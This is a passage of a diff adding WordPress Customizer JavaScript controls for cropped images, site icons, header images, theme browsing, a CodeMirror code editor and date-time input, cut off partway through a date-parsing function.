+			var l10n = _wpMediaViewsL10n;
+
+			this.frame = wp.media({
+				button: {
+					text: l10n.select,
+					close: false
+				},
+				states: [
+					new wp.media.controller.Library({
+						title: this.params.button_labels.frame_title,
+						library: wp.media.query({ type: 'image' }),
+						multiple: false,
+						date: false,
+						priority: 20,
+						suggestedWidth: this.params.width,
+						suggestedHeight: this.params.height
+					}),
+					new wp.media.controller.CustomizeImageCropper({
+						imgSelectOptions: this.calculateImageSelectOptions,
+						control: this
+					})
+				]
+			});
+
+			this.frame.on( 'select', this.onSelect, this );
+			this.frame.on( 'cropped', this.onCropped, this );
+			this.frame.on( 'skippedcrop', this.onSkippedCrop, this );
+		},
+
+		/**
+		 * After an image is selected in the media modal, switch to the cropper
+		 * state if the image isn't the right size.
+		 */
+		onSelect: function() {
+			var attachment = this.frame.state().get( 'selection' ).first().toJSON();
+
+			if ( this.params.width === attachment.width && this.params.height === attachment.height && ! this.params.flex_width && ! this.params.flex_height ) {
+				this.setImageFromAttachment( attachment );
+				this.frame.close();
+			} else {
+				this.frame.setState( 'cropper' );
+			}
+		},
+
+		/**
+		 * After the image has been cropped, apply the cropped image data to the setting.
+		 *
+		 * @param {object} croppedImage Cropped attachment data.
+		 */
+		onCropped: function( croppedImage ) {
+			this.setImageFromAttachment( croppedImage );
+		},
+
+		/**
+		 * Returns a set of options, computed from the attached image data and
+		 * control-specific data, to be fed to the imgAreaSelect plugin in
+		 * wp.media.view.Cropper.
+		 *
+		 * @param {wp.media.model.Attachment} attachment
+		 * @param {wp.media.controller.Cropper} controller
+		 * @returns {Object} Options
+		 */
+		calculateImageSelectOptions: function( attachment, controller ) {
+			var control    = controller.get( 'control' ),
+				flexWidth  = !! parseInt( control.params.flex_width, 10 ),
+				flexHeight = !! parseInt( control.params.flex_height, 10 ),
+				realWidth  = attachment.get( 'width' ),
+				realHeight = attachment.get( 'height' ),
+				xInit = parseInt( control.params.width, 10 ),
+				yInit = parseInt( control.params.height, 10 ),
+				ratio = xInit / yInit,
+				xImg  = xInit,
+				yImg  = yInit,
+				x1, y1, imgSelectOptions;
+
+			controller.set( 'canSkipCrop', ! control.mustBeCropped( flexWidth, flexHeight, xInit, yInit, realWidth, realHeight ) );
+
+			if ( realWidth / realHeight > ratio ) {
+				yInit = realHeight;
+				xInit = yInit * ratio;
+			} else {
+				xInit = realWidth;
+				yInit = xInit / ratio;
+			}
+
+			x1 = ( realWidth - xInit ) / 2;
+			y1 = ( realHeight - yInit ) / 2;
+
+			imgSelectOptions = {
+				handles: true,
+				keys: true,
+				instance: true,
+				persistent: true,
+				imageWidth: realWidth,
+				imageHeight: realHeight,
+				minWidth: xImg > xInit ? xInit : xImg,
+				minHeight: yImg > yInit ? yInit : yImg,
+				x1: x1,
+				y1: y1,
+				x2: xInit + x1,
+				y2: yInit + y1
+			};
+
+			if ( flexHeight === false && flexWidth === false ) {
+				imgSelectOptions.aspectRatio = xInit + ':' + yInit;
+			}
+
+			if ( true === flexHeight ) {
+				delete imgSelectOptions.minHeight;
+				imgSelectOptions.maxWidth = realWidth;
+			}
+
+			if ( true === flexWidth ) {
+				delete imgSelectOptions.minWidth;
+				imgSelectOptions.maxHeight = realHeight;
+			}
+
+			return imgSelectOptions;
+		},
+
+		/**
+		 * Return whether the image must be cropped, based on required dimensions.
+		 *
+		 * @param {bool} flexW
+		 * @param {bool} flexH
+		 * @param {int}  dstW
+		 * @param {int}  dstH
+		 * @param {int}  imgW
+		 * @param {int}  imgH
+		 * @return {bool}
+		 */
+		mustBeCropped: function( flexW, flexH, dstW, dstH, imgW, imgH ) {
+			if ( true === flexW && true === flexH ) {
+				return false;
+			}
+
+			if ( true === flexW && dstH === imgH ) {
+				return false;
+			}
+
+			if ( true === flexH && dstW === imgW ) {
+				return false;
+			}
+
+			if ( dstW === imgW && dstH === imgH ) {
+				return false;
+			}
+
+			if ( imgW <= dstW ) {
+				return false;
+			}
+
+			return true;
+		},
+
+		/**
+		 * If cropping was skipped, apply the image data directly to the setting.
+		 */
+		onSkippedCrop: function() {
+			var attachment = this.frame.state().get( 'selection' ).first().toJSON();
+			this.setImageFromAttachment( attachment );
+		},
+
+		/**
+		 * Updates the setting and re-renders the control UI.
+		 *
+		 * @param {object} attachment
+		 */
+		setImageFromAttachment: function( attachment ) {
+			this.params.attachment = attachment;
+
+			// Set the Customizer setting; the callback takes care of rendering.
+			this.setting( attachment.id );
+		}
+	});
+
+	/**
+	 * A control for selecting and cropping Site Icons.
+	 *
+	 * @class
+	 * @augments wp.customize.CroppedImageControl
+	 * @augments wp.customize.MediaControl
+	 * @augments wp.customize.Control
+	 * @augments wp.customize.Class
+	 */
+	api.SiteIconControl = api.CroppedImageControl.extend({
+
+		/**
+		 * Create a media modal select frame, and store it so the instance can be reused when needed.
+		 */
+		initFrame: function() {
+			var l10n = _wpMediaViewsL10n;
+
+			this.frame = wp.media({
+				button: {
+					text: l10n.select,
+					close: false
+				},
+				states: [
+					new wp.media.controller.Library({
+						title: this.params.button_labels.frame_title,
+						library: wp.media.query({ type: 'image' }),
+						multiple: false,
+						date: false,
+						priority: 20,
+						suggestedWidth: this.params.width,
+						suggestedHeight: this.params.height
+					}),
+					new wp.media.controller.SiteIconCropper({
+						imgSelectOptions: this.calculateImageSelectOptions,
+						control: this
+					})
+				]
+			});
+
+			this.frame.on( 'select', this.onSelect, this );
+			this.frame.on( 'cropped', this.onCropped, this );
+			this.frame.on( 'skippedcrop', this.onSkippedCrop, this );
+		},
+
+		/**
+		 * After an image is selected in the media modal, switch to the cropper
+		 * state if the image isn't the right size.
+		 */
+		onSelect: function() {
+			var attachment = this.frame.state().get( 'selection' ).first().toJSON(),
+				controller = this;
+
+			if ( this.params.width === attachment.width && this.params.height === attachment.height && ! this.params.flex_width && ! this.params.flex_height ) {
+				wp.ajax.post( 'crop-image', {
+					nonce: attachment.nonces.edit,
+					id: attachment.id,
+					context: 'site-icon',
+					cropDetails: {
+						x1: 0,
+						y1: 0,
+						width: this.params.width,
+						height: this.params.height,
+						dst_width: this.params.width,
+						dst_height: this.params.height
+					}
+				} ).done( function( croppedImage ) {
+					controller.setImageFromAttachment( croppedImage );
+					controller.frame.close();
+				} ).fail( function() {
+					controller.frame.trigger('content:error:crop');
+				} );
+			} else {
+				this.frame.setState( 'cropper' );
+			}
+		},
+
+		/**
+		 * Updates the setting and re-renders the control UI.
+		 *
+		 * @param {object} attachment
+		 */
+		setImageFromAttachment: function( attachment ) {
+			var sizes = [ 'site_icon-32', 'thumbnail', 'full' ], link,
+				icon;
+
+			_.each( sizes, function( size ) {
+				if ( ! icon && ! _.isUndefined ( attachment.sizes[ size ] ) ) {
+					icon = attachment.sizes[ size ];
+				}
+			} );
+
+			this.params.attachment = attachment;
+
+			// Set the Customizer setting; the callback takes care of rendering.
+			this.setting( attachment.id );
+
+			if ( ! icon ) {
+				return;
+			}
+
+			// Update the icon in-browser.
+			link = $( 'link[rel="icon"][sizes="32x32"]' );
+			link.attr( 'href', icon.url );
+		},
+
+		/**
+		 * Called when the "Remove" link is clicked. Empties the setting.
+		 *
+		 * @param {object} event jQuery Event object
+		 */
+		removeFile: function( event ) {
+			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+				return;
+			}
+			event.preventDefault();
+
+			this.params.attachment = {};
+			this.setting( '' );
+			this.renderContent(); // Not bound to setting change when emptying.
+			$( 'link[rel="icon"][sizes="32x32"]' ).attr( 'href', '/favicon.ico' ); // Set to default.
+		}
+	});
+
+	/**
+	 * @class
+	 * @augments wp.customize.Control
+	 * @augments wp.customize.Class
+	 */
+	api.HeaderControl = api.Control.extend({
+		ready: function() {
+			this.btnRemove = $('#customize-control-header_image .actions .remove');
+			this.btnNew    = $('#customize-control-header_image .actions .new');
+
+			_.bindAll(this, 'openMedia', 'removeImage');
+
+			this.btnNew.on( 'click', this.openMedia );
+			this.btnRemove.on( 'click', this.removeImage );
+
+			api.HeaderTool.currentHeader = this.getInitialHeaderImage();
+
+			new api.HeaderTool.CurrentView({
+				model: api.HeaderTool.currentHeader,
+				el: '#customize-control-header_image .current .container'
+			});
+
+			new api.HeaderTool.ChoiceListView({
+				collection: api.HeaderTool.UploadsList = new api.HeaderTool.ChoiceList(),
+				el: '#customize-control-header_image .choices .uploaded .list'
+			});
+
+			new api.HeaderTool.ChoiceListView({
+				collection: api.HeaderTool.DefaultsList = new api.HeaderTool.DefaultsList(),
+				el: '#customize-control-header_image .choices .default .list'
+			});
+
+			api.HeaderTool.combinedList = api.HeaderTool.CombinedList = new api.HeaderTool.CombinedList([
+				api.HeaderTool.UploadsList,
+				api.HeaderTool.DefaultsList
+			]);
+
+			// Ensure custom-header-crop Ajax requests bootstrap the Customizer to activate the previewed theme.
+			wp.media.controller.Cropper.prototype.defaults.doCropArgs.wp_customize = 'on';
+			wp.media.controller.Cropper.prototype.defaults.doCropArgs.customize_theme = api.settings.theme.stylesheet;
+		},
+
+		/**
+		 * Returns a new instance of api.HeaderTool.ImageModel based on the currently
+		 * saved header image (if any).
+		 *
+		 * @since 4.2.0
+		 *
+		 * @returns {Object} Options
+		 */
+		getInitialHeaderImage: function() {
+			if ( ! api.get().header_image || ! api.get().header_image_data || _.contains( [ 'remove-header', 'random-default-image', 'random-uploaded-image' ], api.get().header_image ) ) {
+				return new api.HeaderTool.ImageModel();
+			}
+
+			// Get the matching uploaded image object.
+			var currentHeaderObject = _.find( _wpCustomizeHeader.uploads, function( imageObj ) {
+				return ( imageObj.attachment_id === api.get().header_image_data.attachment_id );
+			} );
+			// Fall back to raw current header image.
+			if ( ! currentHeaderObject ) {
+				currentHeaderObject = {
+					url: api.get().header_image,
+					thumbnail_url: api.get().header_image,
+					attachment_id: api.get().header_image_data.attachment_id
+				};
+			}
+
+			return new api.HeaderTool.ImageModel({
+				header: currentHeaderObject,
+				choice: currentHeaderObject.url.split( '/' ).pop()
+			});
+		},
+
+		/**
+		 * Returns a set of options, computed from the attached image data and
+		 * theme-specific data, to be fed to the imgAreaSelect plugin in
+		 * wp.media.view.Cropper.
+		 *
+		 * @param {wp.media.model.Attachment} attachment
+		 * @param {wp.media.controller.Cropper} controller
+		 * @returns {Object} Options
+		 */
+		calculateImageSelectOptions: function(attachment, controller) {
+			var xInit = parseInt(_wpCustomizeHeader.data.width, 10),
+				yInit = parseInt(_wpCustomizeHeader.data.height, 10),
+				flexWidth = !! parseInt(_wpCustomizeHeader.data['flex-width'], 10),
+				flexHeight = !! parseInt(_wpCustomizeHeader.data['flex-height'], 10),
+				ratio, xImg, yImg, realHeight, realWidth,
+				imgSelectOptions;
+
+			realWidth = attachment.get('width');
+			realHeight = attachment.get('height');
+
+			this.headerImage = new api.HeaderTool.ImageModel();
+			this.headerImage.set({
+				themeWidth: xInit,
+				themeHeight: yInit,
+				themeFlexWidth: flexWidth,
+				themeFlexHeight: flexHeight,
+				imageWidth: realWidth,
+				imageHeight: realHeight
+			});
+
+			controller.set( 'canSkipCrop', ! this.headerImage.shouldBeCropped() );
+
+			ratio = xInit / yInit;
+			xImg = realWidth;
+			yImg = realHeight;
+
+			if ( xImg / yImg > ratio ) {
+				yInit = yImg;
+				xInit = yInit * ratio;
+			} else {
+				xInit = xImg;
+				yInit = xInit / ratio;
+			}
+
+			imgSelectOptions = {
+				handles: true,
+				keys: true,
+				instance: true,
+				persistent: true,
+				imageWidth: realWidth,
+				imageHeight: realHeight,
+				x1: 0,
+				y1: 0,
+				x2: xInit,
+				y2: yInit
+			};
+
+			if (flexHeight === false && flexWidth === false) {
+				imgSelectOptions.aspectRatio = xInit + ':' + yInit;
+			}
+			if (flexHeight === false ) {
+				imgSelectOptions.maxHeight = yInit;
+			}
+			if (flexWidth === false ) {
+				imgSelectOptions.maxWidth = xInit;
+			}
+
+			return imgSelectOptions;
+		},
+
+		/**
+		 * Sets up and opens the Media Manager in order to select an image.
+		 * Depending on both the size of the image and the properties of the
+		 * current theme, a cropping step after selection may be required or
+		 * skippable.
+		 *
+		 * @param {event} event
+		 */
+		openMedia: function(event) {
+			var l10n = _wpMediaViewsL10n;
+
+			event.preventDefault();
+
+			this.frame = wp.media({
+				button: {
+					text: l10n.selectAndCrop,
+					close: false
+				},
+				states: [
+					new wp.media.controller.Library({
+						title:     l10n.chooseImage,
+						library:   wp.media.query({ type: 'image' }),
+						multiple:  false,
+						date:      false,
+						priority:  20,
+						suggestedWidth: _wpCustomizeHeader.data.width,
+						suggestedHeight: _wpCustomizeHeader.data.height
+					}),
+					new wp.media.controller.Cropper({
+						imgSelectOptions: this.calculateImageSelectOptions
+					})
+				]
+			});
+
+			this.frame.on('select', this.onSelect, this);
+			this.frame.on('cropped', this.onCropped, this);
+			this.frame.on('skippedcrop', this.onSkippedCrop, this);
+
+			this.frame.open();
+		},
+
+		/**
+		 * After an image is selected in the media modal,
+		 * switch to the cropper state.
+		 */
+		onSelect: function() {
+			this.frame.setState('cropper');
+		},
+
+		/**
+		 * After the image has been cropped, apply the cropped image data to the setting.
+		 *
+		 * @param {object} croppedImage Cropped attachment data.
+		 */
+		onCropped: function(croppedImage) {
+			var url = croppedImage.url,
+				attachmentId = croppedImage.attachment_id,
+				w = croppedImage.width,
+				h = croppedImage.height;
+			this.setImageFromURL(url, attachmentId, w, h);
+		},
+
+		/**
+		 * If cropping was skipped, apply the image data directly to the setting.
+		 *
+		 * @param {object} selection
+		 */
+		onSkippedCrop: function(selection) {
+			var url = selection.get('url'),
+				w = selection.get('width'),
+				h = selection.get('height');
+			this.setImageFromURL(url, selection.id, w, h);
+		},
+
+		/**
+		 * Creates a new wp.customize.HeaderTool.ImageModel from provided
+		 * header image data and inserts it into the user-uploaded headers
+		 * collection.
+		 *
+		 * @param {String} url
+		 * @param {Number} attachmentId
+		 * @param {Number} width
+		 * @param {Number} height
+		 */
+		setImageFromURL: function(url, attachmentId, width, height) {
+			var choice, data = {};
+
+			data.url = url;
+			data.thumbnail_url = url;
+			data.timestamp = _.now();
+
+			if (attachmentId) {
+				data.attachment_id = attachmentId;
+			}
+
+			if (width) {
+				data.width = width;
+			}
+
+			if (height) {
+				data.height = height;
+			}
+
+			choice = new api.HeaderTool.ImageModel({
+				header: data,
+				choice: url.split('/').pop()
+			});
+			api.HeaderTool.UploadsList.add(choice);
+			api.HeaderTool.currentHeader.set(choice.toJSON());
+			choice.save();
+			choice.importImage();
+		},
+
+		/**
+		 * Triggers the necessary events to deselect an image which was set as
+		 * the currently selected one.
+		 */
+		removeImage: function() {
+			api.HeaderTool.currentHeader.trigger('hide');
+			api.HeaderTool.CombinedList.trigger('control:removeImage');
+		}
+
+	});
+
+	/**
+	 * wp.customize.ThemeControl
+	 *
+	 * @constructor
+	 * @augments wp.customize.Control
+	 * @augments wp.customize.Class
+	 */
+	api.ThemeControl = api.Control.extend({
+
+		touchDrag: false,
+		screenshotRendered: false,
+
+		/**
+		 * @since 4.2.0
+		 */
+		ready: function() {
+			var control = this, panel = api.panel( 'themes' );
+
+			function disableSwitchButtons() {
+				return ! panel.canSwitchTheme( control.params.theme.id );
+			}
+
+			// Temporary special function since supplying SFTP credentials does not work yet. See #42184.
+			function disableInstallButtons() {
+				return disableSwitchButtons() || false === api.settings.theme._canInstall || true === api.settings.theme._filesystemCredentialsNeeded;
+			}
+			function updateButtons() {
+				control.container.find( 'button.preview, button.preview-theme' ).toggleClass( 'disabled', disableSwitchButtons() );
+				control.container.find( 'button.theme-install' ).toggleClass( 'disabled', disableInstallButtons() );
+			}
+
+			api.state( 'selectedChangesetStatus' ).bind( updateButtons );
+			api.state( 'changesetStatus' ).bind( updateButtons );
+			updateButtons();
+
+			control.container.on( 'touchmove', '.theme', function() {
+				control.touchDrag = true;
+			});
+
+			// Bind details view trigger.
+			control.container.on( 'click keydown touchend', '.theme', function( event ) {
+				var section;
+				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+					return;
+				}
+
+				// Bail if the user scrolled on a touch device.
+				if ( control.touchDrag === true ) {
+					return control.touchDrag = false;
+				}
+
+				// Prevent the modal from showing when the user clicks the action button.
+				if ( $( event.target ).is( '.theme-actions .button, .update-theme' ) ) {
+					return;
+				}
+
+				event.preventDefault(); // Keep this AFTER the key filter above
+				section = api.section( control.section() );
+				section.showDetails( control.params.theme, function() {
+
+					// Temporary special function since supplying SFTP credentials does not work yet. See #42184.
+					if ( api.settings.theme._filesystemCredentialsNeeded ) {
+						section.overlay.find( '.theme-actions .delete-theme' ).remove();
+					}
+				} );
+			});
+
+			control.container.on( 'render-screenshot', function() {
+				var $screenshot = $( this ).find( 'img' ),
+					source = $screenshot.data( 'src' );
+
+				if ( source ) {
+					$screenshot.attr( 'src', source );
+				}
+				control.screenshotRendered = true;
+			});
+		},
+
+		/**
+		 * Show or hide the theme based on the presence of the term in the title, description, tags, and author.
+		 *
+		 * @since 4.2.0
+		 * @param {Array} terms - An array of terms to search for.
+		 * @returns {boolean} Whether a theme control was activated or not.
+		 */
+		filter: function( terms ) {
+			var control = this,
+				matchCount = 0,
+				haystack = control.params.theme.name + ' ' +
+					control.params.theme.description + ' ' +
+					control.params.theme.tags + ' ' +
+					control.params.theme.author + ' ';
+			haystack = haystack.toLowerCase().replace( '-', ' ' );
+
+			// Back-compat for behavior in WordPress 4.2.0 to 4.8.X.
+			if ( ! _.isArray( terms ) ) {
+				terms = [ terms ];
+			}
+
+			// Always give exact name matches highest ranking.
+			if ( control.params.theme.name.toLowerCase() === terms.join( ' ' ) ) {
+				matchCount = 100;
+			} else {
+
+				// Search for and weight (by 10) complete term matches.
+				matchCount = matchCount + 10 * ( haystack.split( terms.join( ' ' ) ).length - 1 );
+
+				// Search for each term individually (as whole-word and partial match) and sum weighted match counts.
+				_.each( terms, function( term ) {
+					matchCount = matchCount + 2 * ( haystack.split( term + ' ' ).length - 1 ); // Whole-word, double-weighted.
+					matchCount = matchCount + haystack.split( term ).length - 1; // Partial word, to minimize empty intermediate searches while typing.
+				});
+
+				// Upper limit on match ranking.
+				if ( matchCount > 99 ) {
+					matchCount = 99;
+				}
+			}
+
+			if ( 0 !== matchCount ) {
+				control.activate();
+				control.params.priority = 101 - matchCount; // Sort results by match count.
+				return true;
+			} else {
+				control.deactivate(); // Hide control
+				control.params.priority = 101;
+				return false;
+			}
+		},
+
+		/**
+		 * Rerender the theme from its JS template with the installed type.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @returns {void}
+		 */
+		rerenderAsInstalled: function( installed ) {
+			var control = this, section;
+			if ( installed ) {
+				control.params.theme.type = 'installed';
+			} else {
+				section = api.section( control.params.section );
+				control.params.theme.type = section.params.action;
+			}
+			control.renderContent(); // Replaces existing content.
+			control.container.trigger( 'render-screenshot' );
+		}
+	});
+
+	/**
+	 * Class wp.customize.CodeEditorControl
+	 *
+	 * @since 4.9.0
+	 *
+	 * @constructor
+	 * @augments wp.customize.Control
+	 * @augments wp.customize.Class
+	 */
+	api.CodeEditorControl = api.Control.extend({
+
+		/**
+		 * Initialize.
+		 *
+		 * @since 4.9.0
+		 * @param {string} id      - Unique identifier for the control instance.
+		 * @param {object} options - Options hash for the control instance.
+		 * @returns {void}
+		 */
+		initialize: function( id, options ) {
+			var control = this;
+			control.deferred = _.extend( control.deferred || {}, {
+				codemirror: $.Deferred()
+			} );
+			api.Control.prototype.initialize.call( control, id, options );
+
+			// Note that rendering is debounced so the props will be used when rendering happens after add event.
+			control.notifications.bind( 'add', function( notification ) {
+
+				// Skip if control notification is not from setting csslint_error notification.
+				if ( notification.code !== control.setting.id + ':csslint_error' ) {
+					return;
+				}
+
+				// Customize the template and behavior of csslint_error notifications.
+				notification.templateId = 'customize-code-editor-lint-error-notification';
+				notification.render = (function( render ) {
+					return function() {
+						var li = render.call( this );
+						li.find( 'input[type=checkbox]' ).on( 'click', function() {
+							control.setting.notifications.remove( 'csslint_error' );
+						} );
+						return li;
+					};
+				})( notification.render );
+			} );
+		},
+
+		/**
+		 * Initialize the editor when the containing section is ready and expanded.
+		 *
+		 * @since 4.9.0
+		 * @returns {void}
+		 */
+		ready: function() {
+			var control = this;
+			if ( ! control.section() ) {
+				control.initEditor();
+				return;
+			}
+
+			// Wait to initialize editor until section is embedded and expanded.
+			api.section( control.section(), function( section ) {
+				section.deferred.embedded.done( function() {
+					var onceExpanded;
+					if ( section.expanded() ) {
+						control.initEditor();
+					} else {
+						onceExpanded = function( isExpanded ) {
+							if ( isExpanded ) {
+								control.initEditor();
+								section.expanded.unbind( onceExpanded );
+							}
+						};
+						section.expanded.bind( onceExpanded );
+					}
+				} );
+			} );
+		},
+
+		/**
+		 * Initialize editor.
+		 *
+		 * @since 4.9.0
+		 * @returns {void}
+		 */
+		initEditor: function() {
+			var control = this, element, editorSettings = false;
+
+			// Obtain editorSettings for instantiation.
+			if ( wp.codeEditor && ( _.isUndefined( control.params.editor_settings ) || false !== control.params.editor_settings ) ) {
+
+				// Obtain default editor settings.
+				editorSettings = wp.codeEditor.defaultSettings ? _.clone( wp.codeEditor.defaultSettings ) : {};
+				editorSettings.codemirror = _.extend(
+					{},
+					editorSettings.codemirror,
+					{
+						indentUnit: 2,
+						tabSize: 2
+					}
+				);
+
+				// Merge editor_settings param on top of defaults.
+				if ( _.isObject( control.params.editor_settings ) ) {
+					_.each( control.params.editor_settings, function( value, key ) {
+						if ( _.isObject( value ) ) {
+							editorSettings[ key ] = _.extend(
+								{},
+								editorSettings[ key ],
+								value
+							);
+						}
+					} );
+				}
+			}
+
+			element = new api.Element( control.container.find( 'textarea' ) );
+			control.elements.push( element );
+			element.sync( control.setting );
+			element.set( control.setting() );
+
+			if ( editorSettings ) {
+				control.initSyntaxHighlightingEditor( editorSettings );
+			} else {
+				control.initPlainTextareaEditor();
+			}
+		},
+
+		/**
+		 * Make sure editor gets focused when control is focused.
+		 *
+		 * @since 4.9.0
+		 * @param {Object}   [params] - Focus params.
+		 * @param {Function} [params.completeCallback] - Function to call when expansion is complete.
+		 * @returns {void}
+		 */
+		focus: function( params ) {
+			var control = this, extendedParams = _.extend( {}, params ), originalCompleteCallback;
+			originalCompleteCallback = extendedParams.completeCallback;
+			extendedParams.completeCallback = function() {
+				if ( originalCompleteCallback ) {
+					originalCompleteCallback();
+				}
+				if ( control.editor ) {
+					control.editor.codemirror.focus();
+				}
+			};
+			api.Control.prototype.focus.call( control, extendedParams );
+		},
+
+		/**
+		 * Initialize syntax-highlighting editor.
+		 *
+		 * @since 4.9.0
+		 * @param {object} codeEditorSettings - Code editor settings.
+		 * @returns {void}
+		 */
+		initSyntaxHighlightingEditor: function( codeEditorSettings ) {
+			var control = this, $textarea = control.container.find( 'textarea' ), settings, suspendEditorUpdate = false;
+
+			settings = _.extend( {}, codeEditorSettings, {
+				onTabNext: _.bind( control.onTabNext, control ),
+				onTabPrevious: _.bind( control.onTabPrevious, control ),
+				onUpdateErrorNotice: _.bind( control.onUpdateErrorNotice, control )
+			});
+
+			control.editor = wp.codeEditor.initialize( $textarea, settings );
+
+			// Improve the editor accessibility.
+			$( control.editor.codemirror.display.lineDiv )
+				.attr({
+					role: 'textbox',
+					'aria-multiline': 'true',
+					'aria-label': control.params.label,
+					'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
+				});
+
+			// Focus the editor when clicking on its label.
+			control.container.find( 'label' ).on( 'click', function() {
+				control.editor.codemirror.focus();
+			});
+
+			/*
+			 * When the CodeMirror instance changes, mirror to the textarea,
+			 * where we have our "true" change event handler bound.
+			 */
+			control.editor.codemirror.on( 'change', function( codemirror ) {
+				suspendEditorUpdate = true;
+				$textarea.val( codemirror.getValue() ).trigger( 'change' );
+				suspendEditorUpdate = false;
+			});
+
+			// Update CodeMirror when the setting is changed by another plugin.
+			control.setting.bind( function( value ) {
+				if ( ! suspendEditorUpdate ) {
+					control.editor.codemirror.setValue( value );
+				}
+			});
+
+			// Prevent collapsing section when hitting Esc to tab out of editor.
+			control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) {
+				var escKeyCode = 27;
+				if ( escKeyCode === event.keyCode ) {
+					event.stopPropagation();
+				}
+			});
+
+			control.deferred.codemirror.resolveWith( control, [ control.editor.codemirror ] );
+		},
+
+		/**
+		 * Handle tabbing to the field after the editor.
+		 *
+		 * @since 4.9.0
+		 * @returns {void}
+		 */
+		onTabNext: function onTabNext() {
+			var control = this, controls, controlIndex, section;
+			section = api.section( control.section() );
+			controls = section.controls();
+			controlIndex = controls.indexOf( control );
+			if ( controls.length === controlIndex + 1 ) {
+				$( '#customize-footer-actions .collapse-sidebar' ).focus();
+			} else {
+				controls[ controlIndex + 1 ].container.find( ':focusable:first' ).focus();
+			}
+		},
+
+		/**
+		 * Handle tabbing to the field before the editor.
+		 *
+		 * @since 4.9.0
+		 * @returns {void}
+		 */
+		onTabPrevious: function onTabPrevious() {
+			var control = this, controls, controlIndex, section;
+			section = api.section( control.section() );
+			controls = section.controls();
+			controlIndex = controls.indexOf( control );
+			if ( 0 === controlIndex ) {
+				section.contentContainer.find( '.customize-section-title .customize-help-toggle, .customize-section-title .customize-section-description.open .section-description-close' ).last().focus();
+			} else {
+				controls[ controlIndex - 1 ].contentContainer.find( ':focusable:first' ).focus();
+			}
+		},
+
+		/**
+		 * Update error notice.
+		 *
+		 * @since 4.9.0
+		 * @param {Array} errorAnnotations - Error annotations.
+		 * @returns {void}
+		 */
+		onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) {
+			var control = this, message;
+			control.setting.notifications.remove( 'csslint_error' );
+
+			if ( 0 !== errorAnnotations.length ) {
+				if ( 1 === errorAnnotations.length ) {
+					message = api.l10n.customCssError.singular.replace( '%d', '1' );
+				} else {
+					message = api.l10n.customCssError.plural.replace( '%d', String( errorAnnotations.length ) );
+				}
+				control.setting.notifications.add( new api.Notification( 'csslint_error', {
+					message: message,
+					type: 'error'
+				} ) );
+			}
+		},
+
+		/**
+		 * Initialize plain-textarea editor when syntax highlighting is disabled.
+		 *
+		 * @since 4.9.0
+		 * @returns {void}
+		 */
+		initPlainTextareaEditor: function() {
+			var control = this, $textarea = control.container.find( 'textarea' ), textarea = $textarea[0];
+
+			$textarea.on( 'blur', function onBlur() {
+				$textarea.data( 'next-tab-blurs', false );
+			} );
+
+			$textarea.on( 'keydown', function onKeydown( event ) {
+				var selectionStart, selectionEnd, value, tabKeyCode = 9, escKeyCode = 27;
+
+				if ( escKeyCode === event.keyCode ) {
+					if ( ! $textarea.data( 'next-tab-blurs' ) ) {
+						$textarea.data( 'next-tab-blurs', true );
+						event.stopPropagation(); // Prevent collapsing the section.
+					}
+					return;
+				}
+
+				// Short-circuit if tab key is not being pressed or if a modifier key *is* being pressed.
+				if ( tabKeyCode !== event.keyCode || event.ctrlKey || event.altKey || event.shiftKey ) {
+					return;
+				}
+
+				// Prevent capturing Tab characters if Esc was pressed.
+				if ( $textarea.data( 'next-tab-blurs' ) ) {
+					return;
+				}
+
+				selectionStart = textarea.selectionStart;
+				selectionEnd = textarea.selectionEnd;
+				value = textarea.value;
+
+				if ( selectionStart >= 0 ) {
+					textarea.value = value.substring( 0, selectionStart ).concat( '\t', value.substring( selectionEnd ) );
+					$textarea.selectionStart = textarea.selectionEnd = selectionStart + 1;
+				}
+
+				event.stopPropagation();
+				event.preventDefault();
+			});
+
+			control.deferred.codemirror.rejectWith( control );
+		}
+	});
+
+	/**
+	 * Class wp.customize.DateTimeControl.
+	 *
+	 * @since 4.9.0
+	 * @constructor
+	 * @augments wp.customize.Control
+	 * @augments wp.customize.Class
+	 */
+	api.DateTimeControl = api.Control.extend({
+
+		/**
+		 * Initialize behaviors.
+		 *
+		 * @since 4.9.0
+		 * @returns {void}
+		 */
+		ready: function ready() {
+			var control = this;
+
+			control.inputElements = {};
+			control.invalidDate = false;
+
+			_.bindAll( control, 'populateSetting', 'updateDaysForMonth', 'populateDateInputs' );
+
+			if ( ! control.setting ) {
+				throw new Error( 'Missing setting' );
+			}
+
+			control.container.find( '.date-input' ).each( function() {
+				var input = $( this ), component, element;
+				component = input.data( 'component' );
+				element = new api.Element( input );
+				control.inputElements[ component ] = element;
+				control.elements.push( element );
+
+				// Add invalid date error once user changes (and has blurred the input).
+				input.on( 'change', function() {
+					if ( control.invalidDate ) {
+						control.notifications.add( new api.Notification( 'invalid_date', {
+							message: api.l10n.invalidDate
+						} ) );
+					}
+				} );
+
+				// Remove the error immediately after validity change.
+				input.on( 'input', _.debounce( function() {
+					if ( ! control.invalidDate ) {
+						control.notifications.remove( 'invalid_date' );
+					}
+				} ) );
+
+				// Add zero-padding when blurring field.
+				input.on( 'blur', _.debounce( function() {
+					if ( ! control.invalidDate ) {
+						control.populateDateInputs();
+					}
+				} ) );
+			} );
+
+			control.inputElements.month.bind( control.updateDaysForMonth );
+			control.inputElements.year.bind( control.updateDaysForMonth );
+			control.populateDateInputs();
+			control.setting.bind( control.populateDateInputs );
+
+			// Start populating setting after inputs have been populated.
+			_.each( control.inputElements, function( element ) {
+				element.bind( control.populateSetting );
+			} );
+		},
+
+		/**
+		 * Parse datetime string.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {string} datetime - Date/Time string. Accepts Y-m-d[ H:i[:s]] format.
+		 * @returns {object|null} Returns object containing date components or null if parse error.
+		 */
+		parseDateTime: function parseDateTime( datetime ) {
+			var control = this, matches, date, midDayHour = 12;
+
+			if ( datetime ) {
+				matches = datetime.match( /^(\d\d\d\d)-(\d\d)-(\d\d)(?: (\d\d):(\d\d)(?::(\d\d))?)?$/ );
+			}
+
+			if ( ! matches ) {
+				return null;
+			}
+
+			matches.shift();
+
+			date = {
+				year: matches.shift(),
+				month: matches.shift(),
+				day: matches.shift(),
+				hour: matches.shift() || '00',
+				minute: matches.shift() || '00',
